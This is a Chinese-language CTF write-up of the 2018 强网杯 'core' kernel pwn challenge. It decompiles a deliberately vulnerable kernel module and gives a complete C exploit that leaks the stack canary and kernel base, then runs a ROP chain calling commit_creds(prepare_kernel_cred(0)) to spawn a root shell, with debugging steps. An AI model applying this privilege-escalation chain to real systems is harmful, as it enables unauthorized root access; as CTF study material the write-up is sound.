kernel pwn入门 强网杯2018 – core

强网杯2018 - core

这里主要记录一下做这个题的全流程、遇到的困难、解决方法,供后来者参考,同时也加深自己的记忆。
所以本篇没有知识,只是做题过程

参考文献

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:强网杯2018-core

题解

解压

首先拿到题目第一步是把core.cpio解压出来看看里面的东西。

cpio -idm < ./core.cpio 

但是报错了
kernel pwn入门 强网杯2018 - core
如图所示,这是因为他并不是cpio格式,需要先gunzip一下

$ mv core.cpio core.cpio.gz $ gunzip core.cpio.gz 

查看init

在解压出的文件夹里有init

#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2  insmod /core.ko  setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!n' umount /proc umount /sys  poweroff -d 0  -f 

可以看到有insmod /core.ko,那后门程序大概率就是他了。

查看程序

可以先查看ioctl函数,也就是core_ioctl。

void __fastcall core_ioctl(__int64 a1, int op, __int64 reg1) {   switch ( op )   {     case 0x6677889B:       core_read(reg1);       break;     case 0x6677889C:       printk(&unk_2CD);       off = reg1;       break;     case 0x6677889A:       printk(&unk_2B3);       core_copy_func(reg1);       break;   } } 

可以看到是一个菜单,对core_ioctl在ida里按x交叉引用可以找到core_fops
kernel pwn入门 强网杯2018 - core
有什么用就算是前置知识了,自行理解,那么这里可以看到还有一个core_write,说明能直接调用write,查看write。

void __fastcall core_write(__int64 fd, __int64 data, unsigned __int64 len) {   printk(&unk_215);   if ( len > 0x800 || copy_from_user(&name, data, len) )     printk(&unk_230); } 

发现是一个写入到name的操作。
继续看ioctl

void __fastcall core_read(__int64 reg1) {   char *kk; // rdi   __int64 n16; // rcx   char str[64]; // [rsp+0h] [rbp-50h] BYREF   unsigned __int64 v5; // [rsp+40h] [rbp-10h]    v5 = __readgsqword(0x28u);   printk(&unk_25B);   printk(&unk_275);   kk = str;   for ( n16 = 16; n16; --n16 )   {     *(_DWORD *)kk = 0;     kk += 4;   }   strcpy(str, "Welcome to the QWB CTF challenge.n");   if ( copy_to_user(reg1, &str[off], 0x40) )     __asm { swapgs } } 

这里off可控,那么可以进行对canary和内核地址的泄露。

void __fastcall core_copy_func(__int64 reg1) {   _QWORD buf[10]; // [rsp+0h] [rbp-50h] BYREF    buf[8] = __readgsqword(0x28u);   printk(&unk_215);   if ( reg1 > 0x3F )     printk(&unk_2A1);   else     qmemcpy(buf, &name, (unsigned __int16)reg1); } 

这里有整型溢出,然后可以进行ROP
那么思路就是先泄露canary,然后rop提权。

撰写脚本

内核题目用c语言写脚本
这里直接给出脚本,之后会一一解释

#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h>  void spawn_shell() { 	if(!getuid()){ 		system("/bin/sh"); 	} 	else{ 		puts("[*]spawn shell error!"); 	} 	exit(0); }  // 保存用户态 size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { 	__asm__("mov user_cs, cs;" 			"mov user_ss, ss;" 			"mov user_sp, rsp;" 			"pushf;" 			"pop user_rflags;" 			); 	puts("[*]status has been saved.");  }  int main(){     save_status();     int sh = open("/proc/core",2);     if(sh < 0){         printf("文件打开错误!n");         exit(0);     } 	printf("文件打开成功!n");  	char buf[0x50]; 	ioctl(sh, 0x6677889C, 0x40); 	ioctl(sh, 0x6677889B, buf); 	size_t canary = ((size_t*) buf)[0]; 	size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1; 	printf("canary : %lxn",canary); 	printf("kernel_base : %lxn",kernel_base);  	size_t commit_creds = kernel_base + 0x9C8E0; 	size_t prepare_kernel_cred = kernel_base + 0x9CCE0; 	size_t pop_rdi = kernel_base + 0x00b2f; 	size_t pop_rdx = kernel_base + 0xa0f49; 	size_t pop_rcx = kernel_base + 0x21e53; 	size_t MOV_RDI_RAX_CALL_RDX  = kernel_base + 0x1aa6a; 	size_t swapgs_popfq_ret = kernel_base + 0xa012da; 	size_t iretq_ret = kernel_base + 0x50ac2; 	size_t rop[0x100]; 	int i = 0; 	for (i = 0; i < 10; i++) 	{ 		rop[i] = canary; 	} 	rop[i++] = pop_rdi; 	rop[i++] = 0; 	rop[i++] = prepare_kernel_cred; 	rop[i++] = pop_rdx; 	rop[i++] = pop_rcx; 	rop[i++] = MOV_RDI_RAX_CALL_RDX; 	rop[i++] = commit_creds; 	rop[i++] = swapgs_popfq_ret; 	rop[i++] = 0; 	rop[i++] = iretq_ret; 	rop[i++] = (size_t)spawn_shell;			// rip  	rop[i++] = user_cs;						// cs 	rop[i++] = user_rflags;					// rflags 	rop[i++] = user_sp + 8;						// rsp 	rop[i++] = user_ss;						// ss  	printf("rop ok!n");  	write(sh, rop, 0x800);  	printf("write ok!n");  	ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100));  	printf("copy ok!n");      return 0; } 

编译使用静态编译

gcc ./exp.c -o exp -static -masm=intel 

打包运行

如何把exp塞进内核运行环境呢?
和init的同目录下存在gen_cpio.sh的文件,这个就是用来打包的。

./gen_cpio.sh ../core.cpio 

运行则是直接运行start.sh文件即可。

调试

怎么调试呢?
这里需要先把init中setsid /bin/cttyhack setuidgid 1000 /bin/sh变为setsid /bin/cttyhack setuidgid 0 /bin/sh咱门需要高权限来调试。
在start.sh中加入-s参数。
之后在运行环境中执行

cat /sys/module/core/sections/.text 

便可以获得core.ko的test段地址,那么使用如下sh脚本

gdb      -ex "add-symbol-file $1 $2"      -ex "target remote localhost:1234"      -ex "set debug kernel"      -ex "b* core_copy_func+0x3b"      -ex "c"  

使用只需要 ./gdb.sh ./core.ko [cat的值]即可启动pwngdb
我的pwngdb不能ni和si,所以只能一点一点打断点调试

exp详解

到这里大概就可以自己做了,可以先试着自己调试。
接下来是exp的详解

save_status(); // 保存用户态 size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { 	__asm__("mov user_cs, cs;" 			"mov user_ss, ss;" 			"mov user_sp, rsp;" 			"pushf;" 			"pop user_rflags;" 			); 	puts("[*]status has been saved."); } 

注释也写了,是用来保存用户态数据的,因为在rop执行完返回到用户态需要用到这些参数。

	int sh = open("/proc/core",2); 	if(sh < 0){ 		printf("文件打开错误!n"); 		exit(0); 	} 	printf("文件打开成功!n"); 

对于/proc/core,为什么在proc和为什么打开它,这里只需把https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/ 看完自会理解。

	char buf[0x50]; 	ioctl(sh, 0x6677889C, 0x40); 	ioctl(sh, 0x6677889B, buf); 	size_t canary = ((size_t*) buf)[0]; 	size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1; 	printf("canary : %lxn",canary); 	printf("kernel_base : %lxn",kernel_base); 

泄露canary和内核基地址,这里主要看0x1dd6d1偏移的得来。
使用程序输出后可以使用cat /proc/kallsyms | grep " _text| startup_64| startup_32"来查看内核地址。
之后相减即可得到偏移。

	size_t commit_creds = kernel_base + 0x9C8E0; 	size_t prepare_kernel_cred = kernel_base + 0x9CCE0; 	size_t pop_rdi = kernel_base + 0x00b2f; 	size_t pop_rdx = kernel_base + 0xa0f49; 	size_t pop_rcx = kernel_base + 0x21e53; 	size_t MOV_RDI_RAX_CALL_RDX  = kernel_base + 0x1aa6a; 	size_t swapgs_popfq_ret = kernel_base + 0xa012da; 	size_t iretq_ret = kernel_base + 0x50ac2; 	size_t rop[0x100]; 	int i = 0; 	for (i = 0; i < 10; i++) 	{ 		rop[i] = canary; 	} 	rop[i++] = pop_rdi; 	rop[i++] = 0; 	rop[i++] = prepare_kernel_cred; 	rop[i++] = pop_rdx; 	rop[i++] = pop_rcx; 	rop[i++] = MOV_RDI_RAX_CALL_RDX; 	rop[i++] = commit_creds; 	rop[i++] = swapgs_popfq_ret; 	rop[i++] = 0; 	rop[i++] = iretq_ret; 	rop[i++] = (size_t)spawn_shell;			// rip  	rop[i++] = user_cs;						// cs 	rop[i++] = user_rflags;					// rflags 	rop[i++] = user_sp + 8;						// rsp 	rop[i++] = user_ss;						// ss 	printf("rop ok!n"); 	write(sh, rop, 0x800); 	printf("write ok!n"); 	ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100)); 	printf("copy ok!n"); 

栈溢出打ROP,执行commit_creds(prepare_kernel_cred(NULL)),片段的偏移可以查看vmlinux,函数直接放到IDA中查看。

完结

但这里就算是完事了,总的来说刚开始跟用户态rop还是大致上一样的。

发表评论

评论已关闭。

相关文章